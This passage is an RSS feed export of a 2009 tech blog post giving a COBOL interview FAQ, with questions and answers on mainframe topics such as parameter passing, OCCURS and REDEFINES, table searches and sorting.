<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Information World &#187; perl scripts</title>
	<atom:link href="http://www.dailyinfobyte.com/tag/perl-scripts/feed/" rel="self" type="application/rss+xml" />
	<link>http://www.dailyinfobyte.com</link>
	<description>Technical Tips and more...</description>
	<lastBuildDate>Thu, 12 Nov 2009 07:57:26 +0000</lastBuildDate>
	<generator>http://wordpress.org/?v=2.8.4</generator>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
			<item>
		<title>COBOL FAQ</title>
		<link>http://www.dailyinfobyte.com/2009/03/25/cobol-faq/</link>
		<comments>http://www.dailyinfobyte.com/2009/03/25/cobol-faq/#comments</comments>
		<pubDate>Thu, 26 Mar 2009 03:07:24 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Technical]]></category>
		<category><![CDATA[COBOL]]></category>
		<category><![CDATA[cobol FAQ]]></category>
		<category><![CDATA[FAQ]]></category>
		<category><![CDATA[JSP FAQ]]></category>
		<category><![CDATA[Perl]]></category>
		<category><![CDATA[perl scripts]]></category>
		<category><![CDATA[reentrant]]></category>
		<category><![CDATA[servlet questions]]></category>
		<category><![CDATA[Servlets FAQ]]></category>
		<category><![CDATA[t]]></category>
		<category><![CDATA[technical FAQ]]></category>
		<category><![CDATA[technical tips]]></category>
		<category><![CDATA[VSAM]]></category>

		<guid isPermaLink="false">http://www.dailyinfobyte.com/?p=161</guid>
		<description><![CDATA[
1. What is a reentrant program? How will you make a program Reentrant?
A. A reentrant program, while being executed resides in the common virtual area so that one copy of it may be shared among all callers. Use RENT compiler option.
2. What is the difference between a 01 level and 77 level? 
A. 01 level [...]]]></description>
			<content:encoded><![CDATA[<p style="margin-left: 0.5in; text-align: center;" align="center"><strong style="mso-bidi-font-weight: normal;"><span style="font-size: 14pt; font-family: Arial;"></span></strong></p>
<p style="margin-left: 0.5in;"><span style="font-size: 10pt; color: blue; font-family: Arial;">1. What is a reentrant program? How will you make a program Reentrant?</span></p>
<p style="margin-left: 0.5in;"><span style="font-size: 10pt; font-family: Arial;">A. A reentrant program, while being executed resides in the common virtual area so that one copy of it may be shared among all callers. Use RENT compiler option.</span></p>
<p style="margin-left: 0.5in;"><span style="font-size: 10pt; color: blue; font-family: Arial;">2. What is the difference between a 01 level and 77 level? </span></p>
<p style="margin-left: 0.5in;"><span style="font-size: 10pt; font-family: Arial;">A. 01 level can have sublevels from 02 to 49. 77 cannot have sublevel.</span></p>
<p style="margin-left: 0.5in;"><span style="font-size: 10pt; color: blue; font-family: Arial;">3. What are the few advantages of VS COBOL II over OS/VS COBOL?</span></p>
<p style="margin-left: 0.5in;"><span style="font-size: 10pt; font-family: Arial;">A. The working storage and linkage section limit has been increased. They are 128 megabytes as supposed to 1 megabytes in OS/VS COBOL. Introduction of ADDRESS special register.</span></p>
<p style="margin-left: 0.5in;"><span style="font-size: 10pt; font-family: Arial;">31-bit addressing. In using COBOL on PC we have only flat files and the programs can access only limited storage, whereas in VS COBOL II on M/F the programs can access up to 16MB or 2GB depending on the addressing and can use VSAM files to make I/O operations faster.</span></p>
<p style="margin-left: 0.5in;"><span style="font-size: 10pt; color: blue; font-family: Arial;">4. What are the steps you go through while creating a COBOL program executable?</span></p>
<p style="margin-left: 0.5in;"><span style="font-size: 10pt; font-family: Arial;">A. DB2 pre-compiler (if embedded SQL is used), CICS translator (if CICS program), Cobol compiler, Link editor. If DB2 program, create plan by binding the DBRMs.</span></p>
<p style="margin-left: 0.5in;"><span style="font-size: 10pt; color: blue; font-family: Arial;">5. What are the minimum requirements to compile a program without errors?</span></p>
<p style="margin-left: 0.5in;"><span style="font-size: 10pt; font-family: Arial;">A. Identification Division.</span></p>
<p style="margin-left: 0.5in;"><span style="font-size: 10pt; font-family: Arial;">Program-ID. Program-name.</span></p>
<p style="margin-left: 0.5in;"><span style="font-size: 10pt; font-family: Arial;">A) Is compute w=u a valid statement?</span></p>
<p style="margin-left: 0.5in;"><span style="font-size: 10pt; font-family: Arial;">Yes, it is. It is equivalent to move u to w.</span></p>
<p style="margin-left: 0.5in;"><span style="font-size: 10pt; font-family: Arial;">B) In the above example, when will you prefer compute statement over the move statement?</span></p>
<p style="margin-left: 0.5in;"><span style="font-size: 10pt; font-family: Arial;">When significant left-order digits would be lost in execution, the </span><tt><span style="font-size: 10pt;">COMPUTE</span></tt><span style="font-size: 10pt; font-family: Arial;"> statement can detect the condition and allow you to handle it. The </span><tt><span style="font-size: 10pt;">MOVE</span></tt><span style="font-size: 10pt; font-family: Arial;"> statement carries out the assignment with destructive truncation. Therefore, if the size error is needs to be detected, COMPUTE will be preferred over MOVE. The ON SIZE ERROR phrase of </span><tt><span style="font-size: 10pt;">COMPUTE</span></tt><span style="font-size: 10pt; font-family: Arial;"> statement, compiler generates code to detect size-overflow. </span></p>
<p style="margin-left: 0.5in;"><span style="font-size: 10pt; color: blue; font-family: Arial;">6. What happens when the </span><tt><strong><span style="font-size: 10pt; color: blue;">ON</span></strong></tt><span style="font-size: 10pt; color: blue; font-family: Arial;"> </span><tt><strong><span style="font-size: 10pt; color: blue;">SIZE</span></strong></tt><span style="font-size: 10pt; color: blue; font-family: Arial;"> </span><tt><strong><span style="font-size: 10pt; color: blue;">ERROR</span></strong></tt><span style="font-size: 10pt; color: blue; font-family: Arial;"> phrase is specified on a COMPUTE statement?</span></p>
<p style="margin-left: 0.5in;"><span style="font-size: 10pt; font-family: Arial;">A. If the condition occurs, the code in the </span><tt><span style="font-size: 10pt;">ON</span></tt><span style="font-size: 10pt; font-family: Arial;"> </span><tt><span style="font-size: 10pt;">SIZE</span></tt><span style="font-size: 10pt; font-family: Arial;"> </span><tt><span style="font-size: 10pt;">ERROR</span></tt><span style="font-size: 10pt; font-family: Arial;"> phrase is performed, and the content of the destination field remains unchanged. If the </span><tt><span style="font-size: 10pt;">ON</span></tt><span style="font-size: 10pt; font-family: Arial;"> </span><tt><span style="font-size: 10pt;">SIZE</span></tt><span style="font-size: 10pt; font-family: Arial;"> </span><tt><span style="font-size: 10pt;">ERROR</span></tt><span style="font-size: 10pt; font-family: Arial;"> phrase is not specified, the assignment is carried out with truncation. There is no </span><tt><span style="font-size: 10pt;">ON</span></tt><span style="font-size: 10pt; font-family: Arial;"> </span><tt><span style="font-size: 10pt;">SIZE</span></tt><span style="font-size: 10pt; font-family: Arial;"> </span><tt><span style="font-size: 10pt;">ERROR</span></tt><span style="font-size: 10pt; font-family: Arial;"> support for the </span><tt><span style="font-size: 10pt;">MOVE</span></tt><span style="font-size: 10pt; font-family: Arial;"> statement. </span></p>
<p style="margin-left: 0.5in;"><span style="font-size: 10pt; color: blue; font-family: Arial;">7. How will you associate your files with external data sets where they physically reside?</span></p>
<p style="margin-left: 0.5in;"><span style="font-size: 10pt; font-family: Arial;">A. Using SELECT clause, the files can be associated with external data sets. The SELECT clause is defined in the FILE-CONTROL paragraph of Input-Output Section that is coded Environment Division. The File structure is defined by FD entry under File-Section of Data Division for the OS.</span></p>
<p style="margin-left: 0.5in;"><span style="font-size: 10pt; color: blue; font-family: Arial;">8. How will you define your file to the operating system?</span></p>
<p style="margin-left: 0.5in;"><span style="font-size: 10pt; font-family: Arial;">A. Associate the file with the external data set using SELECT clause of INPUT-OUTPUT SECTION. INPUT-OUTPUT SECTION appears inside the ENVIRONMENT DIVISION.</span></p>
<p style="margin-left: 0.5in;"><span style="font-size: 10pt; font-family: Arial;">Define your file structure in the FILE SECTION of DATA DIVISION.</span></p>
<p style="margin-left: 0.5in;"><span style="font-size: 10pt; color: blue; font-family: Arial;">9. Explain the use of Declaratives in COBOL?</span></p>
<ol type="A">
<li class="MsoNormal" style="mso-margin-top-alt: auto; mso-margin-bottom-alt: auto; mso-list: l10 level1 lfo3; tab-stops: list .5in;"><span style="font-size: 10pt; font-family: Arial;">Declaratives provide special section that are executed when an exceptional condition occurs. They must be grouped together and coded at the beginning of procedure division and the entire procedure division must be divided into sections. The Declaratives start with a USE statement. The entire group of declaratives is preceded by DECLARIVES and followed by END DECLARITIVES in area A. The three types of declaratives are Exception (when error occurs during file handling), Debugging (to debug lines with &#8216;D&#8217; coded in w-s section) and Label (for EOF or beginning&#8230;) declaratives. </span></li>
</ol>
<p style="margin-left: 0.5in;"><span style="font-size: 10pt; color: blue; font-family: Arial;">10. A statically bound subprogram is called twice. What happens to working-storage variables? </span></p>
<p style="margin-left: 0.5in;"><span style="font-size: 10pt; font-family: Arial;">A. The working-storage section is allocated at the start of the run-unit and any data items with VALUE clauses are initialized to the appropriate value at the time. When the subprogram is called the second time, a working-storage items persist in their last used state. However, if the program is specified with INITIAL on the PROGRAM-ID, working-storage section is reinitialized each time the program is entered.</span></p>
<p style="margin-left: 0.5in;"><span style="font-size: 10pt; font-family: Arial;">PROGRAM-ID. &lt;Pgmname&gt; is INITIAL PROGRAM. Other verbs used with PROGRAM-ID are RECURSIVE and COMMON.</span></p>
<p style="margin-left: 0.5in;"><span style="font-size: 10pt; color: blue; font-family: Arial;">11. When is COMMON attribute used?</span></p>
<p style="margin-left: 0.5in;"><span style="font-size: 10pt; font-family: Arial;">A. COMMON attribute is used with nested COBOL programs. If it is not specified, other nested programs will not be able to access the program. PROGRAM-ID. Pgmname is COMMON PROGRAM.</span></p>
<p style="margin-left: 0.5in;"><span style="font-size: 10pt; color: blue; font-family: Arial;">12. In which division and section, the Special-names paragraph appears?</span></p>
<p style="margin-left: 0.5in;"><span style="font-size: 10pt; font-family: Arial;">A. Environment division and Configuration Section.</span></p>
<p style="margin-left: 0.5in;"><span style="font-size: 10pt; color: blue; font-family: Arial;">13. What is the LOCAL-STORAGE SECTION?</span></p>
<p style="margin-left: 0.5in;"><span style="font-size: 10pt; font-family: Arial;">A. Local-Storage is allocated each time the program is called and is de-allocated when the program returns via an </span><tt><span style="font-size: 10pt;">EXIT</span></tt><span style="font-size: 10pt; font-family: Arial;"> </span><tt><span style="font-size: 10pt;">PROGRAM</span></tt><span style="font-size: 10pt; font-family: Arial;">, </span><tt><span style="font-size: 10pt;">GOBACK</span></tt><span style="font-size: 10pt; font-family: Arial;">, or </span><tt><span style="font-size: 10pt;">STOP</span></tt><span style="font-size: 10pt; font-family: Arial;"> </span><tt><span style="font-size: 10pt;">RUN</span></tt><span style="font-size: 10pt; font-family: Arial;">. Any data items with a </span><tt><span style="font-size: 10pt;">VALUE</span></tt><span style="font-size: 10pt; font-family: Arial;"> clauses are initialized to the appropriate value each time the program is called. The value in the data items is lost when the program returns. It is defined in the DATA DIVISION after WORKING-STORAGE SECTION</span></p>
<p style="margin-left: 0.5in;"><span style="font-size: 10pt; color: blue; font-family: Arial;">14. What does passing BY REFERENCE mean?</span></p>
<p style="margin-left: 0.5in;"><span style="font-size: 10pt; font-family: Arial;">A. When the data is passed between programs, the subprogram refers to and processes the data items in the calling program&#8217;s storage, rather than working on a copy of the data. When </span></p>
<p style="margin-left: 0.5in;"><span style="font-size: 10pt; font-family: Arial;">CALL . . . BY REFERENCE <var><span style="font-family: Arial;">identifier</span></var>. In this case, the caller and the called share the same memory.</span></p>
<p style="margin-left: 0.5in;"><span style="font-size: 10pt; color: blue; font-family: Arial;">15. What does passing BY CONTENT mean?</span></p>
<p style="margin-left: 0.5in;"><span style="font-size: 10pt; font-family: Arial;">A. The calling program passes only the contents of the <var><span style="font-family: Arial;">literal</span></var>, or <var><span style="font-family: Arial;">identifier</span></var>. With a </span><tt><span style="font-size: 10pt;">CALL</span></tt><span style="font-size: 10pt; font-family: Arial;"> </span><tt><span style="font-size: 10pt;">.</span></tt><span style="font-size: 10pt; font-family: Arial;"> </span><tt><span style="font-size: 10pt;">.</span></tt><span style="font-size: 10pt; font-family: Arial;"> </span><tt><span style="font-size: 10pt;">.</span></tt><span style="font-size: 10pt; font-family: Arial;"> </span><tt><span style="font-size: 10pt;">BY</span></tt><span style="font-size: 10pt; font-family: Arial;"> </span><tt><span style="font-size: 10pt;">CONTENT</span></tt><span style="font-size: 10pt; font-family: Arial;">, the called program cannot change the value of the <var><span style="font-family: Arial;">literal</span></var> or <var><span style="font-family: Arial;">identifier</span></var> in the calling program, even if it modifies the variable in which it received the <var><span style="font-family: Arial;">literal</span></var> or <var><span style="font-family: Arial;">identifier</span></var>. </span></p>
<p style="margin-left: 0.5in;"><span style="font-size: 10pt; color: blue; font-family: Arial;">16. What does passing BY VALUE mean?</span></p>
<p style="margin-left: 0.5in;"><span style="font-size: 10pt; font-family: Arial;">A. The calling program or method is passing the value of the <var><span style="font-family: Arial;">literal</span></var>, or <var><span style="font-family: Arial;">identifier</span></var>, not a reference to the sending data item. The called program or invoked method can change the parameter in the called program or invoked method. However, because the subprogram or method has access only to a temporary copy of the sending data item, those changes do not affect the argument in the calling program. Use By value, If you want to pass data to C program. Parameters must be of certain data type. </span></p>
<p style="margin-left: 0.5in;"><span style="font-size: 10pt; color: blue; font-family: Arial;">17. What is the default, passing BY REFERENCE or passing BY CONTENT or passing BY VALUE?</span></p>
<p style="margin-left: 0.5in;"><span style="font-size: 10pt; font-family: Arial;">A. Passing by reference (the caller and the called share the same memory).</span></p>
<p style="margin-left: 0.5in;"><span style="font-size: 10pt; color: blue; font-family: Arial;">18. Where do you define your data in a program if the data is passed to the program from a Caller program?</span></p>
<p style="margin-left: 0.5in;"><span style="font-size: 10pt; font-family: Arial;">A. Linkage Section</span></p>
<p style="margin-left: 0.5in;"><span style="font-size: 10pt; color: blue; font-family: Arial;">19. Define the structure of a COBOL subroutine.</span></p>
<p style="margin-left: 0.5in;"><span style="font-size: 10pt; font-family: Arial;">A. The PROCEDURE DIVISION header must have a using a phrase, if the data needs to be passed to the program. The operands of the USING phrase must be defined in the LINKAGE SECTION as 01-level or 77-level entries. No VALUE clause is allowed unless the data defined is a condition name. </span></p>
<p style="margin-left: 0.5in;"><span style="font-size: 10pt; font-family: Arial;">If the program needs to be returned to the CALLER, use EXIT PROGRAM statement at the end of the program. GOBACK is an alternative, but is nonstandard. </span></p>
<p style="margin-left: 0.5in;"><span style="font-size: 10pt; color: blue; font-family: Arial;">20. What is difference between next sentence and continue </span></p>
<p style="margin-left: 0.5in;"><span style="font-size: 10pt; font-family: Arial;">A. NEXT SENTENCE gives control to the verb following the next period. CONTINUE gives control to the next verb after the explicit scope terminator. (This is not one of COBOL II&#8217;s finer implementations). It&#8217;s safest to use CONTINUE rather than NEXT SENTENCE in COBOL II. CONTINUE is like a null statement (do nothing) , while NEXT SENTENCE transfers control to the next sentence (!!) (A sentence is terminated by a period). Check out by writing the following code example, one if sentence followed by 3 display statements: If 1 &gt; 0 then next sentence end if display &#8216;line 1&#8242; display &#8216;line 2&#8242;. display &#8216;line 3&#8242;. *** Note- there is a dot (.) only at the end of the last 2 statements, see the effect by replacing Next Sentence with Continue *** </span></p>
<p style="margin-left: 0.5in;"><span style="font-size: 10pt; color: blue; font-family: Arial;">21. What is the difference between Structured Cobol Programming and Object Oriented COBOL programming? </span></p>
<p style="margin-left: 0.5in;"><span style="font-size: 10pt; font-family: Arial;">A. Structured programming is a Logical way of programming using which you divide the functionality&#8217;s into modules and code logically. OOP is a Natural way of programming in which you identify the objects, first then write functions and procedures around the objects. Sorry, this may not be an adequate answer, but they are two different programming paradigms, which is difficult to put in a sentence or two. </span></p>
<p style="margin-left: 0.5in;"><span style="font-size: 10pt; color: blue; font-family: Arial;">22. PIC S9(4)COMP IS USED INPSPITE OF COMP-3 WHICH OCCUPIES LESS SPACE.WHY? </span></p>
<p style="margin-left: 0.5in;"><span style="font-size: 10pt; font-family: Arial;">A. S9(4) COMP uses only 2 bytes. 9(4) COMP-3 uses 3 bytes. 3 bytes are more than 2 bytes. Hence COMP is preferred over COMP-3 in this case.</span></p>
<p style="margin-left: 0.5in;"><span style="font-size: 10pt; color: blue; font-family: Arial;">23. How many number of bytes and digits are involved in S9(10) COMP?</span></p>
<ol type="A">
<li class="MsoNormal" style="mso-margin-top-alt: auto; mso-margin-bottom-alt: auto; mso-list: l23 level1 lfo6; tab-stops: list .5in;"><span style="font-size: 10pt; font-family: Arial;">8 bytes (double word) and 10 digits. Up to 9(9) comp use full word, up to 9(18) comp needs double word. </span></li>
</ol>
<p style="margin-left: 0.5in;"><span style="font-size: 10pt; color: blue; font-family: Arial;">24. Which picture clause will you use to define a hexadecimal item in a VALUE clause?</span></p>
<p style="margin-left: 0.5in;"><span style="font-size: 10pt; font-family: Arial;">A. 01 ws-hexitem PIC X(2) value X&#8217;020C&#8217;.</span></p>
<p style="margin-left: 0.5in;"><span style="font-size: 10pt; font-family: Arial;">01 ws-hex redefines PIC S9(3) comp-3.</span></p>
<p style="margin-left: 0.5in;"><span style="font-size: 10pt; color: blue; font-family: Arial;">25. How many numbers of decimal digits are possible, when the amount of storage allocated for a USAGE COMP item is a)</span><span style="font-size: 10pt; font-family: Arial;"> <span style="color: blue;">half word b) full word c) double word?</span></span></p>
<p style="margin-left: 0.5in;"><span style="font-size: 10pt; font-family: Arial;">A. 2 bytes (halfword) for 1-4 Digits 4 bytes (fullword) for 5-9 </span></p>
<p style="margin-left: 0.5in;"><span style="font-size: 10pt; font-family: Arial;">8 bytes (doubleword) for 10-18 </span></p>
<p style="margin-left: 0.5in;"><span style="font-size: 10pt; color: blue; font-family: Arial;">26. What is a scope terminator? Give examples.</span></p>
<ol type="A">
<li class="MsoNormal" style="mso-margin-top-alt: auto; mso-margin-bottom-alt: auto; mso-list: l11 level1 lfo9; tab-stops: list .5in;"><span style="font-size: 10pt; font-family: Arial;">Scope terminator is used to mark the end of a verb e.g. EVALUATE, END-EVALUATE; IF, END-IF. </span></li>
</ol>
<p style="margin-left: 0.5in;"><span style="font-size: 10pt; color: blue; font-family: Arial;">27. How many dimensions are allowed for a table?</span></p>
<p style="margin-left: 0.5in;"><span style="font-size: 10pt; font-family: Arial;">A. 7</span></p>
<p style="margin-left: 0.5in;"><span style="font-size: 10pt; color: blue; font-family: Arial;">28. How many subscripts or indexes are allowed for an OCCURS clause?</span></p>
<p style="margin-left: 0.5in;"><span style="font-size: 10pt; font-family: Arial;">A. 7</span></p>
<p style="margin-left: 0.5in;"><span style="font-size: 10pt; color: blue; font-family: Arial;">29. Why cannot Occurs be used in 01 level? </span></p>
<p style="margin-left: 0.5in;"><span style="font-size: 10pt; font-family: Arial;">A. Because, Occurs clause is there to repeat fields with the same format, but not the records. </span></p>
<p style="margin-left: 0.5in;"><span style="font-size: 10pt; color: blue; font-family: Arial;">30. Can a REDEFINES clause be used along with an OCCURS clause?</span></p>
<p style="margin-left: 0.5in;"><span style="font-size: 10pt; font-family: Arial;">A. Yes, if the REDEFINES clause is subordinate to OCCURS clause.</span></p>
<p style="margin-left: 0.5in;"><span style="font-size: 10pt; color: blue; font-family: Arial;">31. Can you specify PIC clause and a VALUE with an OCCURS clause? Will the following code compile without errors?</span></p>
<p style="margin-left: 0.5in;"><span style="font-size: 10pt; color: blue; font-family: Arial;">01 WS-TABLE.</span></p>
<p style="margin-left: 0.5in;"><span style="font-size: 10pt; color: blue; font-family: Arial;">03 WS-TABLE-EL OCCURS 5 TIMES PIC X(1) VALUE SPACES</span><span style="font-size: 10pt; font-family: Arial;">.</span></p>
<p style="margin-left: 0.5in;"><span style="font-size: 10pt; font-family: Arial;">A. Yes, the code will compile without any errors. </span></p>
<p style="margin-left: 0.5in;"><span style="font-size: 10pt; color: blue; font-family: Arial;">32. What would be the output, when the following code is executed?</span></p>
<p style="margin-left: 0.5in;"><span style="font-size: 10pt; color: blue; font-family: Arial;">01 WS-TABLE.</span></p>
<p style="margin-left: 0.5in;"><span style="font-size: 10pt; color: blue; font-family: Arial;">03 WS-TABLE-EL OCCURS 5 TIMES PIC X(1) VALUE &#8216;AAAAA&#8217;.</span></p>
<p style="margin-left: 0.5in;"><span style="font-size: 10pt; font-family: Arial;">A. It cannot be executed because the code will compile with error &#8216; &#8220;VALUE&#8221; literal &#8220;&#8216;AAAA&#8217;&#8221; exceeded the length specified in the &#8220;PICTURE&#8221; definition&#8217;. </span></p>
<p style="margin-left: 0.5in;"><span style="font-size: 10pt; color: blue; font-family: Arial;">33. 01 WS-TABLE.</span></p>
<p style="margin-left: 1in;"><span style="font-size: 10pt; color: blue; font-family: Arial;">03 WS-TABLE-EL OCCURS 5 TIMES PIC X(1) VALUE &#8216;A&#8217;.</span></p>
<p style="margin-left: 1in;"><span style="font-size: 10pt; color: blue; font-family: Arial;">03 WS-EX REDEFINES WS-TABLE-EL PIC X(5). What can you expect?</span></p>
<p style="margin-left: 0.5in;"><span style="font-size: 10pt; font-family: Arial;">A. Compile error. Direct Redefinition of OCCURS clause is not allowed.</span></p>
<p style="margin-left: 0.5in;"><span style="font-size: 10pt; color: blue; font-family: Arial;">34. 01 WS-TABLE.</span></p>
<p style="margin-left: 0.5in;"><span style="font-size: 10pt; color: blue; font-family: Arial;">03 WS-TABLE-EL OCCURS 5 TIMES.</span></p>
<p style="margin-left: 2in;"><span style="font-size: 10pt; color: blue; font-family: Arial;">04 FILLER-X PIC X(1) VALUE &#8216;A&#8217;. 04 WS-EX REDEFINES FILLER-X PIC X(1). </span></p>
<p style="margin-left: 1in;"><span style="font-size: 10pt; color: blue; font-family: Arial;">What would be the output of DISPLAY WS-TABLE?</span><span style="font-size: 10pt; font-family: Arial;"> </span></p>
<p style="margin-left: 0.5in;"><span style="font-size: 10pt; font-family: Arial;">A. &#8216;AAAAA&#8217;. The code will compile and execute as Redefinition of an item subordinate to OCCURS clause.</span></p>
<p style="margin-left: 0.5in;"><span style="font-size: 10pt; color: blue; font-family: Arial;">35. Is this allowed?</span></p>
<p style="margin-left: 0.5in;"><span style="font-size: 10pt; color: blue; font-family: Arial;">01 WS-TABLE.</span></p>
<p style="margin-left: 0.5in;"><span style="font-size: 10pt; color: blue; font-family: Arial;">03 FILLER-X PIC X(5) VALUE &#8216;AAAAA&#8217;.</span></p>
<p style="margin-left: 0.5in;"><span style="font-size: 10pt; color: blue; font-family: Arial;">03 WS-EX REDEFINES FILLER-X.</span></p>
<p style="margin-left: 0.5in;"><span style="font-size: 10pt; color: blue; font-family: Arial;">04 WS-TABLE-EL OCCURS 5 TIMES PIC X(1).</span></p>
<p style="margin-left: 0.5in;"><span style="font-size: 10pt; font-family: Arial;">A. Yes</span></p>
<p style="margin-left: 0.5in;"><span style="font-size: 10pt; color: blue; font-family: Arial;">35. Is this allowed?</span></p>
<p style="margin-left: 0.5in;"><span style="font-size: 10pt; color: blue; font-family: Arial;">01 WS-TABLE.</span></p>
<p style="margin-left: 0.5in;"><span style="font-size: 10pt; color: blue; font-family: Arial;">03 FILLER-X PIC X(5) VALUE &#8216;AAAAA&#8217;.</span></p>
<p style="margin-left: 0.5in;"><span style="font-size: 10pt; color: blue; font-family: Arial;">03 WS-EX REDEFINES FILLER-X OCCURS 5 TIMES PIC X(1).</span></p>
<p style="margin-left: 0.5in;"><span style="font-size: 10pt; font-family: Arial;">A. Yes</span></p>
<p style="margin-left: 0.5in;"><span style="font-size: 10pt; color: blue; font-family: Arial;">36. Which SEARCH verb is equivalent to PERFORM&#8230;VARYING?</span></p>
<ol type="A">
<li class="MsoNormal" style="mso-margin-top-alt: auto; mso-margin-bottom-alt: auto; mso-list: l16 level1 lfo12; tab-stops: list .5in;"><span style="font-size: 10pt; font-family: Arial;">The serial SEARCH verb (SEARCH without ALL) </span></li>
</ol>
<p style="margin-left: 0.5in;"><span style="font-size: 10pt; color: blue; font-family: Arial;">37. What would be the output, when the following code is executed?</span></p>
<p style="margin-left: 0.5in;"><span style="font-size: 10pt; color: blue; font-family: Arial;">01 WS-TABLE.</span></p>
<p style="margin-left: 0.5in;"><span style="font-size: 10pt; color: blue; font-family: Arial;">03 WS-TABLE-EL OCCURS 5 TIMES PIC X(1) VALUE &#8216;A&#8217;.</span></p>
<p style="margin-left: 0.5in;"><span style="font-size: 10pt; color: blue; font-family: Arial;">:::</span></p>
<p style="margin-left: 0.5in;"><span style="font-size: 10pt; color: blue; font-family: Arial;">DISPLAY WS-TABLE.</span></p>
<p style="margin-left: 0.5in;"><span style="font-size: 10pt; font-family: Arial;">A. The output will display &#8216;AAAAA&#8217; </span></p>
<p style="margin-left: 0.5in;"><span style="font-size: 10pt; color: blue; font-family: Arial;">38. Can a SEARCH be applied to a table which does not have an INDEX defined?</span></p>
<p style="margin-left: 0.5in;"><span style="font-size: 10pt; font-family: Arial;">A. No, the table must be indexed.</span></p>
<p style="margin-left: 0.5in;"><span style="font-size: 10pt; color: blue; font-family: Arial;">39. What are the different rules applicable to perform a serial SEARCH?</span></p>
<p style="margin-left: 0.5in;"><span style="font-size: 10pt; font-family: Arial;">A. The SEARCH can be applied to only a table which has the OCCURS clause and INDEXED BY phrase,</span></p>
<p style="margin-left: 0.5in;"><span style="font-size: 10pt; font-family: Arial;">Before the use of the SEARCH the index must have some initial value. To search from beginning, set the index value to 1. Use the SEARCH verb without ALL phrase</span></p>
<p style="margin-left: 0.5in;"><span style="font-size: 10pt; color: blue; font-family: Arial;">40. A table has two indexes defined. Which one will be used by the SEARCH verb?</span></p>
<p style="margin-left: 0.5in;"><span style="font-size: 10pt; font-family: Arial;">A. The index named first will be used, by Search. </span></p>
<p style="margin-left: 0.5in;"><span style="font-size: 10pt; color: blue; font-family: Arial;">41. What are the different rules applicable to perform a binary SEARCH?</span></p>
<p style="margin-left: 0.5in;"><span style="font-size: 10pt; font-family: Arial;">A. The table must be sorted in ascending or descending order before the beginning of the SEARCH. Use OCCURS clause with ASC/DESC KEY IS dataname1 option</span></p>
<p style="margin-left: 0.5in;"><span style="font-size: 10pt; font-family: Arial;">The table must be indexed. There is no need to set the index value. Use SEARCH ALL verb</span></p>
<p style="margin-left: 0.5in;"><span style="font-size: 10pt; color: blue; font-family: Arial;">42. How does the binary search work?</span></p>
<p style="margin-left: 0.5in;"><span style="font-size: 10pt; font-family: Arial;">A. First the table is split into two halves and in which half, the item need to be searched is determined. The half to which the desired item may belong is again divided into two halves and the previous procedure is followed. This continues until the item is found. SEARCH ALL is efficient for tables larger than 70 items. </span></p>
<p style="margin-left: 0.5in;"><span style="font-size: 10pt; color: blue; font-family: Arial;">43. What is the difference between a binary search and a sequential search? What are the pertinent COBOL commands? </span></p>
<p style="margin-left: 0.5in;"><span style="font-size: 10pt; font-family: Arial;">A. In a binary search the table element key values must be in ascending or descending sequence. The table is &#8216;halved&#8217; to search for equal to, greater than or less than conditions until the element is found. In a sequential search the table is searched from top to bottom, so (ironically) the elements do not have to be in a specific sequence. The binary search is much faster for larger tables, While sequential Search works well with smaller ones. SEARCH ALL is used for binary searches; SEARCH for sequential. </span></p>
<p style="margin-left: 0.5in;"><span style="font-size: 10pt; color: blue; font-family: Arial;">44. Explain the difference between an internal and an external sort. The pros &amp; cons &amp; internal sort syntax &#8230; </span></p>
<p style="margin-left: 0.5in;"><span style="font-size: 10pt; font-family: Arial;">A. An external sort is not coded as a COBOL program; it is performed through JCL and PGM=SORT. One can use IBM utility SYNCSORT for external sort process. It is understandable without any code reference. An internal sort can use two different syntaxes: 1.) USING, GIVING sorts are comparable to external sorts with no extra file processing; 2) INPUT PROCEDURE, OUTPUT PROCEDURE sorts allow for data manipulation before and/or after the sort. Syntax:</span></p>
<ul type="disc">
<li class="MsoNormal" style="mso-margin-top-alt: auto; mso-margin-bottom-alt: auto; mso-list: l20 level1 lfo15; tab-stops: list .5in;"><span style="font-size: 10pt; font-family: Arial;">SORT file-1 ON ASCENDING/DESCENDING KEY key&#8230;USING file-2 GIVING file-3. </span></li>
<li class="MsoNormal" style="mso-margin-top-alt: auto; mso-margin-bottom-alt: auto; mso-list: l20 level1 lfo15; tab-stops: list .5in;"><span style="font-size: 10pt; font-family: Arial;">USING can be substituted by INPUT PROCEDURE IS para-1 THRU para-2 </span></li>
<li class="MsoNormal" style="mso-margin-top-alt: auto; mso-margin-bottom-alt: auto; mso-list: l20 level1 lfo15; tab-stops: list .5in;"><span style="font-size: 10pt; font-family: Arial;">GIVING can be substituted by OUTPUT PROCEDURE IS para-1 THRU para-2. </span></li>
<li class="MsoNormal" style="mso-margin-top-alt: auto; mso-margin-bottom-alt: auto; mso-list: l20 level1 lfo15; tab-stops: list .5in;"><span style="font-size: 10pt; font-family: Arial;">file-1 is the sort workfile and must be described using SD entry in FILE SECTION. </span></li>
<li class="MsoNormal" style="mso-margin-top-alt: auto; mso-margin-bottom-alt: auto; mso-list: l20 level1 lfo15; tab-stops: list .5in;"><span style="font-size: 10pt; font-family: Arial;">file-2 is the input file for the SORT and must be described using an FD entry in FILE SECTION and SELECT clause in FILE CONTROL. </span></li>
<li class="MsoNormal" style="mso-margin-top-alt: auto; mso-margin-bottom-alt: auto; mso-list: l20 level1 lfo15; tab-stops: list .5in;"><span style="font-size: 10pt; font-family: Arial;">file-3 is the outfile from the SORT and must be described using an FD entry in FILE SECTION and SELECT clause in FILE CONTROL. </span></li>
<li class="MsoNormal" style="mso-margin-top-alt: auto; mso-margin-bottom-alt: auto; mso-list: l20 level1 lfo15; tab-stops: list .5in;"><span style="font-size: 10pt; font-family: Arial;">file-1, file-2 &amp; file-3 should not be opened explicitly. </span></li>
